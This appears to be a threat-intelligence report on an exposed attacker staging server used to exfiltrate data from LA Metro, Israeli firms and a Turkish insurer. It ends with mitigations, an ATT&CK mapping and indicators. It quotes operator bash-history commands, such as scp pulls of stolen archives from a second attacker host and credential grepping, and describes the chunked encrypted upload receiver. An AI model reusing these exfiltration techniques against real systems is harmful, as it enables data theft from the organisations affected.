On April 28, 2026, our scanning infrastructure recorded an HTTP 200 response from 5.255.127[.]55 on port 8020, presenting a Python SimpleHTTP 0.6 directory listing. The server was subsequently seen active through at least May 26, 2026.
The host is allocated to The Infrastructure Group B.V. (AS60404) in Lelystad, Flevoland, Netherlands, within the IP range 5.255.96.0/19. The server ran three observable services: SSH on port 22 (OpenSSH 9.6p1, first seen January 2024), the open directory on port 8020 (Python SimpleHTTP, first seen April 28, 2026), and an Apache HTTPD 2.4.58 instance on port 8087 (first seen May 4, 2026).
Figure 7. Hunt.io Intelligence shows a potentially malicious Open Directory hosted on 5.255.127[.]55 (AS60404), operated by The Infrastructure Group B.V. in the Netherlands.Hunt.io's intelligence provided historical visibility into the staging infrastructure, enabling reconstruction of its activity before public disclosure. The timeline below summarizes key observations associated with the server at 5.255.127[.]55.
| Date | Event | Observation |
|---|---|---|
| April 28, 2026 | Initial Discovery | Hunt.io first observed port 8020 on 5.255.127[.]55 serving a Python SimpleHTTP directory listing, indicating the presence of an exposed open directory. |
| May 4, 2026 | Additional Service Activation | An Apache HTTPD service became active on port 8087 of the same host, likely providing web-based access to staged data. |
| May 16, 2026 | Directory Snapshot Captured | AttackCapture™ archived a complete snapshot of the exposed directory structure, containing 2,238 files, 545 subdirectories, and approximately 5 GB of data. |
| May 26, 2026 | Public Disclosure | Gambit Security published its report detailing the intrusion activity. While the report referenced the staging infrastructure, the IP address 5.255.127[.]55 was not publicly disclosed. |
The open directory at 5.255.127[.]55:8020 contains 2,238 files, 545 subdirectories, and approximately 5 GB of content, and its directory structure is aligned with known victims of the Ababil of Minab campaign. The presence of http.flask.py, a TLS certificate pair (cert.pem / key.pem), and .bash_history at the root of the directory was an immediate indicator that this was not incidental staging infrastructure but the operator's primary working environment.
Figure 8. Hunt.io AttackCapture™ identified an exposed open directory hosted on 5.255.127[.]55:8020 (AS60404, Netherlands) containing 2,238 files across 545 subdirectories, totaling approximately 5 GB of data.To uncover the nature of the staging infrastructure, we systematically examined the contents of the exposed directory and its associated files.
Investigation and Analysis
The root of the open directory at 5.255.127[.]55:8020 reveals a Linux filesystem organized around victim folders and operator tools. The structure reflects both the pull-based exfiltration method and the push-based Flask receiver method. At the root level, alongside victim directories, the operator left their working files fully exposed, such as the Flask receiver script, TLS certificate pair, shell history, Python history, X11 authorization tokens, and desktop archive.
The Flask Receiver: http.flask.py
This script implements a secure, chunk-based file upload server using the Flask web framework. It allows clients to upload large files by splitting them into smaller encrypted chunks, which are individually transmitted, decrypted using AES-CBC encryption, and temporarily stored on the server.
Figure 9. The AES decryption workflow is used for processing encrypted file data and filenames. The decrypt_aes_cbc() function decrypts AES-CBC-encrypted content and removes padding, while decrypt_filename() decrypts and sanitizes encrypted filenames before storage.The UploadManager class manages upload sessions, tracks received chunks, supports interrupted upload resumption through persistent metadata, and assembles all chunks into the original file once the upload is complete. The application includes endpoints for initializing uploads, uploading chunks, checking upload progress, verifying chunk existence, and finalizing file assembly.
Figure 10. Implementation of the UploadManager class is responsible for managing upload sessions, tracking received chunks, maintaining upload metadata, supporting resumable uploads, and assembling uploaded files.Additional features include HTTPS support, configurable upload size limits, secure filename handling, automatic cleanup of temporary files, JSON-based API responses, and custom error handlers for oversized requests and invalid routes.
The application exposes several REST API endpoints that manage the complete file upload lifecycle, including upload initialization, chunk transfer, progress tracking, chunk verification, and final file assembly.
| Route | Method | Function | Purpose |
|---|---|---|---|
| /id | POST | init_upload_route | Initialize or resume an upload. |
| /state | POST | upload_chunk_route | Upload a decrypted chunk. |
/progress/
<file_id> | GET | get_upload_progress_route | Retrieve upload progress. |
/verify/
<chunk_hash> | GET | verify_chunk | Check if a chunk exists. |
| /finalize | POST | finalize_route | Assemble uploaded chunks into the final file. |
The Flask application redirects all 404 requests to https://www.fbi.gov/, a deliberate misdirection that makes the server appear benign to casual browsers.
Figure 11. Implementation of a custom Flask 404 handler that redirects all invalid route requests to the FBI website using an HTTP 302 response.The chunk_registry directory at the root of the staging server is the persistent storage for in-progress chunked uploads, and the temp/ directory holds partially assembled files organized by upload session ID.
Figure 12. Directory structure used for chunked file uploads, showing the chunk_registry folder for persistent chunk tracking and the temp directory for storing partially assembled files organized by upload session.The Bash History: Operator Workflow Reconstruction
The .bash_history file provides a near-complete reconstruction of the operator's working sessions over the campaign's active exfiltration phase. The operator's workflow for pulling data from victim web servers followed a consistent pattern, such as compressing data into multi-part RAR archives on the victim host, uploading to the victim's public web root, then downloading from the staging server using proxychains axel -n 8.
The bash history contains dozens of such download commands against media.ifat.com, which is a leading Israeli company in business information.
Figure 13. The sample of proxychains axel commands executed for ifat.com from the bash_history file.The history also records direct SCP transfers from 31.172.87[.]20, the second staging server tied to the nefeshhope[.]com infrastructure, onto the primary staging server:
scp root@31.172.87.20:/root/downloader/uploads/s.7z .
scp root@31.172.87.20:/root/downloader/uploads/a.7z .
scp root@31.172.87.20:/root/downloader/uploads/k.7z .
CopyThe certificate (used in http.flask.py) was generated directly on the staging server, as evidenced by the corresponding openssl req command in the .bash_history.
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/C=US/ST=California/L=San Francisco/O=Acme Cloud Solutions Inc/OU=IT/CN=localhost/emailAddress=admin@acmecloud.example"
CopyThe operator set up Apache on port 8087 and made the staged data web-accessible, chowning the directory to www-data. The operator also used the Ruppin Academic Center's staged data as an upload endpoint during a session using the Flask receiver, evident from the chunked upload artifacts in the ruppin/temp/ directory and corresponding metadata.json files tracking upload progress.
Figure 14. The metadata.json file sample is available for every session for tracking the progress of uploading data found in the ruppin directory.The additional commands of note in the history include the operator grepping through staged web application configs for connection strings (grep -ir "connectionstring"), reading VPN credential files, reviewing network switch configurations, and examining a plaintext list of FTP credentials for Israeli newspaper sites.
FileFiend: The Custom Uploader in the Wild
The FileFiend binaries, named by Gambit Security in their original report, appear under the decoy filename Exchangedb.exe, distributed across five victim subdirectories under the metro/ folder structure. The files appear in session directories named with numeric identifiers followed by the suffix_3869236902, each containing a tmp/ subdirectory with Exchangedb.exe.
Figure 15. Occurrence of FileFiend as Exchangedb.exe found in five subdirectories linked with the LA Metro confirmed.Victims: Naming What the Report Withheld
The data revealed a structured pattern in which folders were organized by victim names and contained associated data. Due to the substantial volume of exposed information, the collected snapshot successfully captured the directory listing and a significant portion of the available data; however, some larger files and data segments could not be fully retrieved.
The organizations identified during this investigation are documented below to assist potentially affected parties in assessing their exposure and to contribute accurate intelligence to the broader cybersecurity community.
Figure 16. List of identified victim organizations, including their respective countries and organizational names, derived from the exposed directory contents.Here's what the staging server contained for each organization.
LA Metro (LACMTA) - Depth of Staged Data
The metro/ directory is the largest in the staging server, totalling over 1 GB across 334 files. The metro/7443_3869236902/MTAdb/ subdirectory alone contains 107 Microsoft SQL Server .bak backup files spanning virtually every domain of LA Metro's IT infrastructure. The database names include AVL_01 (automatic vehicle location), BusStops, Maintenance, IncidentManagement, MTA22, EZPaySuite, RailYard, RestrictedSecurityAreaSurveillance, VehicleMonitoringDrone, and MDTS, among over 100 others. All backups are timestamped to March 9 - 15, 2026 - the window of the confirmed intrusion.
Figure 17. Snapshot of LA Metro Backups on the Attacker server having more than 100 files.The directory also contains personnel and operational documents from within the LA Metro environment, such as yard control SOPs, SCADA configuration notes, computer asset assignment spreadsheets across multiple divisions, safety shoe voucher forms, union documents, Oracle self-service benefits confirmations, and individual employee HR documents, including personal correspondence, OJT training forms with named trainees, and a dissolution-of-marriage filing for a named employee.
Figure 18. Snapshot of operational and personnel files and folders related to LA Metro.The PST archives recovered by FileFiend likely name specific LA Metro employees and internal systems, including conference room mailboxes, a government relations account, and accounts across multiple divisions.
Figure 19. PST files with a naming convention related to LA Metro were found on the attacker's server.Ruppin Academic Center - Active Chunked Upload
The Ruppin/ directory shows evidence of the Flask receiver being actively used to receive data from the Ruppin Academic Center, with over 2 GB of captured files across three active upload sessions.
Figure 20. Directory of Ruppin (Ruppin Academic Center) with over 2 GB of data across three active upload sessions, alongside the http.flask.py receiver and its certificate files.The temp/ subdirectory contains three large chunked upload sessions with GUIDs as session identifiers. The largest session directory (7a52b43e...) contains 647 chunk files representing approximately 2 GB of data in transit with Metadata.json files for track upload state.
The uploads/ subdirectory contains assembled archives, including MICHLOL.7z (33 MB and hints about https://www.michlolltd.co.il), database backups for systems named gptrumot, ZipCodes, ReportServerGOLDPLUS, and a series of segmented 7z archives corresponding to academic information systems.
Figure 21. 7z archives and Backups found in the upload server of the attacker under the ruppin folder.bac.org.il - Plaintext Credentials Exposed
The bac.org.il/ directory contains 536 MB of data with Zip archives and a backup.sql (83 MB). A WordPress database dump (shaarbac_wp.sql, 27 MB) is also present. The directory additionally contains large zip archives of what appear to be the site's full PHP codebase, content directories, and Solr search index.
Figure 22. A glance into the archive and backup of the bac.org.il folder on the attacker server.After analyzing the backup.sql, we have added a table to provide an overview of what the attacker actually got from them.
| Category | Tables | Purpose |
|---|---|---|
| Content & CMS | pages, authors, tags, pages_tags, pages_related, pages_parents, containers, banners, redirects, translations, languages | Core content management functionality supporting page creation, author management, multilingual content, taxonomy tagging, page relationships, layout containers, promotional banners, SEO-friendly redirects, and user interface translations. |
| Tickets & Events | TicketsXML | Stores ticketing and event-related information synchronized from an external SRO ticketing system, including seat availability, lock zones, sales periods, and ticket inventory. |
| Users & Access Control | users, locks, api_rules, request, contacts | Manages CMS user accounts, content editing locks, API access permissions, user registrations, and contact form submissions. |
| First Grade Feature | first_grade, first_grade_admin, first_grade_brochure | Supports a personalized first-grade video service by storing participant details, production workflow status, and brochure delivery information. |
| Logs & Monitoring | api_log, error_log, mylog | Records API activity, application errors, debugging information, and operational events for monitoring and troubleshooting purposes. |
| Infrastructure & Services | services, config, queue_emails | Provides application configuration management, background service tracking, and outbound email queue processing. |
adabroker.com.tr - Turkish Insurance PII
The adabroker.com.tr directory contains the full CMS database of Ada Sigorta ve Reasürans Brokerliği, a Turkish insurance brokerage whose database records date back to 1996. The exported tables cover 16 insurance product categories including aviation, maritime, health, and film/concert insurance (urunler_kategori.csv, urunler.csv), company page content including a CEO biography of Nejat Şehsuvar (sayfa.csv), site configuration pointing to http://adabroker.com.tr (settings.csv), a slider image referencing a Turkcell campaign (resim.csv), and quote request form definitions collecting PII fields including full name, date of birth, Turkish national ID number, phone, email, and address (form_bilesen.csv, form.csv).
The mesajlar.csv contact log contains customer enquiries with real names, email addresses, and phone numbers, and notably includes multiple messages from 2016 in which visitors reported a SQL injection vulnerability in the urunler.php endpoint to the company, followed immediately by rows showing automated injection probe payloads (response.write() expressions and boolean tests) confirming active exploitation attempts were recorded in the same table.
The visitor log (ziyaretci.csv) shows only loopback traffic from 2015 local development sessions, and the member table (uyeler.csv) holds a single empty record, indicating the public-facing registration system was unused.
Figure 23. Overview of files recovered from the adabroker.com.tr extracted archive, including multiple CSV files having almost 24 MB of sensitive data.This aligns with Gambit Security's description of "a Turkish insurance brokerage."
courier.co.il - Credential Dumps and SQL Injection Evidence
The courier.co.il/ directory (164 MB, 52 extracted files) contains data from an Israeli classified ads and news platform.
Figure 24. Overview of 52 files recovered from the courier.co.il extracted archive, including multiple CSV files having almost 164 MB of sensitive data.After analysis of CSV files, we have created a table to understand the data inside it.
| File | Content Summary |
|---|---|
| T_DAF.csv | Site taxonomy and navigation structure containing Russian-language category labels for news, board, and contact sections. |
| T_NEWS.csv | Collection of Russian-language news articles related to Israel, sourced from external content. |
| ads.csv | addresses. |
| ads_e.csv | English-language classified advertisements with poster contact information and associated email addresses. |
| board_member.csv | User account information, including member names, email addresses, and password hash data for administrative or board-related users. |
| list_all.csv | Credential-related records containing email addresses and MD5 password hashes associated with user accounts. |
| xmb_members.csv | Forum membership database containing administrator account information, password hashes, registration metadata, IP addresses, and user profile details. |
| powerban.csv | Banner management records; includes evidence of a SQL injection payload within application fields, indicating potential compromise or exploitation. |
| powerban_auth.csv | Banner administration authentication logs contain account credentials, password information, login activity, and SQL injection artifacts. |
| powerban_stats_views.csv | Historical banner impression and advertisement view statistics with no significant sensitive content. |
| sections_e.csv | Definitions and metadata for classified advertisement categories such as real estate, employment, vehicles, and pets. |
| txt_categories.csv | Content categorization records covering topics such as culture, business, and classified advertisements. |
| countries.csv | Standardized country reference list including country names and ISO code mappings. |
| zones.csv | Geographic reference dataset containing U.S. states and Canadian provinces. |
| twatch*.csv_ | Website analytics records containing browser statistics, user-agent information, referral data, and session metrics collected during 2010. |
| news.csv | News article repository containing Russian-language content, HTML fragments, publication timestamps, and source URLs. |
Ifat Media Group - VPN Credentials and Network Configs
The Ifat media group data, staged under the var/uuuuuua/ path (which maps to the /var/www/html/uuuuuua/ web root the operator created during the intrusion), is among the most sensitive in the staging directory.
It contains complete Cisco and Juniper switch running configurations with encrypted and, in some cases, plaintext credentials.
Figure 25. Switches configuration in the form of docx and txt found under the "uuuuuua" folder related to Ifat Media Group.A VPN batch script "connect_ifat_capsule.cmd" embeds plaintext credentials for a CheckPoint Endpoint Connect VPN gateway at sslvpn.ifat.com.
Similarly, the f.cmd script first checks whether it is running with administrative privileges. If elevated permissions are not available, it automatically generates and executes a temporary VBScript to relaunch itself using Windows User Account Control (UAC) with administrator rights.
Once elevated, the script collects local network configuration information using ipconfig, extracts an IP address matching the 172.16.x.x private network range, and stores it in a variable. It then uses this address to add a static route for the 172.20.20.0/24 network, directing traffic through the identified VPN or internal network gateway.
Figure 26. VPN folder shows a Proton VPN installer with 2 scripts for setting up CheckPoint Tunnel and VPN route for IP range.Moreover, a "Police2.zip" folder contains a few docx files, which appear to be an internal IT operations log detailing the deployment, maintenance, and troubleshooting of network infrastructure supporting a police transcription and records environment. The entries provide a chronological account of technical work performed between 2021 and 2022, including network routing, connectivity verification, and communications between support personnel and police representatives.
In addition to infrastructure-related information, the document contains highly sensitive operational details, including internal hostnames, IP addresses, domain information, system administration procedures, security software update processes, and credential management instructions for a CyberArk vault environment.
Figure 27. Extracted contents of the Police2.zip archive containing police-related operational and configuration documents.Chrome Password Dumps
One of the CSV files containing the 194 Chrome passwords was found under Ziv panelview.zip-extracted, with most belonging to the ".il" domain.
Figure 28. A sample of captured passwords from the Chrome Password.csv file that includes domains, URL, username, and passwords.Other Victims
Beyond the named victims already documented, the open directory contained data from several additional organizations that could not be fully attributed at capture time.
The CREATIX/ directory holds 149 MB of database backups explicitly named DBBackup_taam_tehara_titan.rar (89 MB) alongside four multi-part RAR archives, identifying Taam Tehara Titan as an Israeli food technology and kashrut management company whose full production database backup set was staged.
The orbital.co.il/ directory contains 81 MB across two multi-part RAR archives, confirming a distinct Israeli digital services organization as a target, though the archives were not extracted at capture time.
The moshelet/ directory holds four RAR parts pulled from media.ifat.com in a dedicated download session separate from other Ifat data collection, suggesting Moshelet is a distinct organization whose data was accessible through the Ifat infrastructure rather than an Ifat internal system.
The tnv/ directory contains a single data transfer.rar (14 MB), which the bash history confirms the operator extracted and examined interactively, the only victim dataset reviewed in real time during the captured session, suggesting particular interest in its contents.
The PST/accz.7z archive, renamed from accz.zip and stored alongside LA Metro mailbox collections, likely represents mailbox data from a separate unidentified victim environment, with the accz abbreviation pointing to an organization name yet to be confirmed.
Every organization in this report had something the attacker could reach. Here's what to close first.
Mitigation Strategies
Hunt for Exchangedb.exe across all endpoints and alert on any process by that name not associated with a legitimate Exchange Server installation.
Search for the three FileFiend SHA-256 hashes in EDR telemetry and retrospective logs, particularly on file servers and domain controllers.
Rotate credentials immediately for any system whose Web.config, running-config, or connection string files may have been accessible through a compromised shared hosting infrastructure.
Restrict web application service accounts from writing to the web root; the operator's primary exfiltration method depended entirely on writing RAR archives to the victim's own public directory.
Monitor web server access logs for sequential multi-part archive downloads (data.part1.rar, data.part2.rar) which is the clearest behavioral signature of the pull-based exfiltration technique used across all victims.
Block or alert on outbound connections to port 443 from server-class machines where the TLS certificate subject contains acmecloud.example, the Flask receiver's hardcoded certificate identity.
Ensure database backup files are never stored in or accessible from the web root, and that backup naming conventions do not expose environment details such as server names or instance identifiers.
The techniques behind these recommendations map directly to what the operator used across every victim environment.
MITRE ATT&CK Mapping
| Technique ID | Name | Evidence |
|---|---|---|
| T1102 | Web Service | Victim data was staged in the victim's own web root and retrieved remotely using the Axel download utility over HTTP. |
| T1048 | Exfiltration Over Alternative Protocol | A custom Flask-based receiver using AES-CBC encryption accepted chunked file uploads over HTTPS on port 443. |
| T1560.001 | Archive via Utility | Multi-part RAR archives were created on victim systems, while 7-Zip archives were generated on the staging server for data aggregation. |
| T1090.003 | Multi-hop Proxy | Proxychains was consistently used throughout the bash history to route download operations through multiple proxy hops. |
| T1119 | Automated Collection | The FileFiend tool (Exchangedb.exe) automatically enumerated local drives and SMB network shares for data collection. |
| T1005 | Data from Local System | Collected data included database backups, PST email files, configuration files, and exported credentials from victim systems. |
| T1555.003 | Credentials from Web Browsers | Browser credential dumps, including Chrome Passwords.csv, were identified within the staging environment. |
| T1552.001 | Credentials in Files | Plaintext credentials such as VPN accounts, database connection strings, and network device passwords were harvested from files. |
| T1071.001 | Web Protocols (C2) | HTTPS-based communications were used for both the Flask data receiver and Axel download operations. |
| T1036.005 | Masquerading: Match Legitimate Name or Location | The FileFiend malware was disguised as Exchangedb.exe, imitating a legitimate Microsoft Exchange-related utility. |
| T1485 | Data Destruction | SQL Server database deletion and file system destruction via Windows Explorer observed across victim environments. |
| T1561.002 | Disk Structure Wipe | VM partition wipes executed via Disk Management across multiple victim environments. |
The indicators below correspond directly to the infrastructure and tooling documented in the MITRE mapping above.
Indicators of Compromise
| Indicator | Type | Notes |
|---|---|---|
| 5.255.127[.]55 | IPv4 | Operator staging server with an open directory on port 8020 and Apache service on port 8087; hosted under AS60404 (Netherlands). |
| 31.172.87[.]20 | IPv4 | Secondary staging server observed as an SCP source in bash history; previously hosted TLS services for nefeshhope[.]com. |
| 81a25357d027d0f04a43139377d5d58384b8e9b0770e699cdcc37e600641cf90 | SHA-256 | FileFiend / Exchangedb.exe malware sample (Variant 1). |
| c8cc4225d1e21324ef419adbb1c10dd0578fb034b5f5d7b8000f0aae1871c061 | SHA-256 | FileFiend / Exchangedb.exe malware sample (Variant 2). |
| 33a6b4900c2fbfb3c2d816947871eade800d0c0e2a2680871700fd6e640e5f20 | SHA-256 | FileFiend / Exchangedb.exe malware sample (Variant 3). |
| nefeshhope[.]com | Domain | Operator-controlled website masquerading as an IDF support portal; linked to infrastructure at 31.172.87.20. |
| O=Acme Cloud Solutions Inc, CN=localhost, emailAddress=admin@acmecloud.example | TLS Subject | Self-signed certificate subject identified on the Flask receiver hosted at 5.255.127.55; corresponding cert.pem and key.pem files were present in the exposed directory. |
| Exchangedb.exe | Filename | Decoy filename used by the FileFiend uploader and found within multiple metro/ subdirectories. |
| http.flask.py | Tool | Custom Flask-based AES-CBC chunked file upload receiver discovered at the root of the staging server. |
Treat everything above as active. The campaign is ongoing.
Conclusion
The Ababil of Minab campaign is one of the more thorough Iranian intrusion operations documented in 2026, combining destructive wipes with systematic data theft across targets in the United States, Israel, and Turkey. The victim list spans a major transit authority, an academic institution, a media group, an insurance brokerage, and several Israeli digital services organizations. Geography, not sector, is the common thread.
The operator left their primary staging server completely open to the internet for at least four weeks, and it stayed up through late May 2026, weeks after Gambit Security published and after Ababil of Minab went quiet on Telegram. That failure gave AttackCapture full visibility into the exfiltration environment and the identities of every victim the Gambit Security report withheld. Treat the IoCs in this report as active, not historical.
→ Hunt.io's AttackCapture identified and captured this staging server before it was publicly disclosed. If you want visibility into exposed attacker infrastructure, open directories, and active staging servers in your region, book a free demo.
Related Posts
Related Posts
Related Posts
